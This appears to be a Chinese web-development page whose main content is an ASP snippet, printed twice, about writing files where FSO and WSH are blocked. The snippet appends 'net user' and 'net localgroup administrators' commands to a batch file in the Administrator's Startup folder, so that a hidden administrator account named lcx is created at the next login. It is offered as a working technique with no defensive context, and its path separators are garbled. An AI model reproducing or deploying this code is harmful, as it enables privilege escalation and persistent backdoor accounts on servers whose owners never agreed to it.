<% on error resume next dim lcxset lcx=server.CreateObject("Adodb.Stream") lcx.Open lcx.Type=2 lcx.CharSet="gb2312" lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat" lcx.Position=lcx.Size lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2 lcx.Close set lcx=nothing %> <% on error resume next dim lcxset lcx=server.CreateObject("Adodb.Stream") lcx.Open lcx.Type=2 lcx.CharSet="gb2312" lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat" lcx.Position=lcx.Size lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单程序启动cook.bat",2 lcx.Close set lcx=nothing %>

　　推荐阅读

　　利用ASP发送和接收XML数据的处理方法

request.asp dim Https set Https=server.createobject("MSXML2.XMLHTTP") '定义一个XMLHTTP对像 Https.open "POST","http://127.0.0.1/testpost/response.asp",false Https.send " echo 123456 987654 1111>>>详细阅读

本文标题：跨越fso、wsh、 application写文件

地址：http://www.17bianji.com/kaifa2/ASP/33344.html

 1/2    1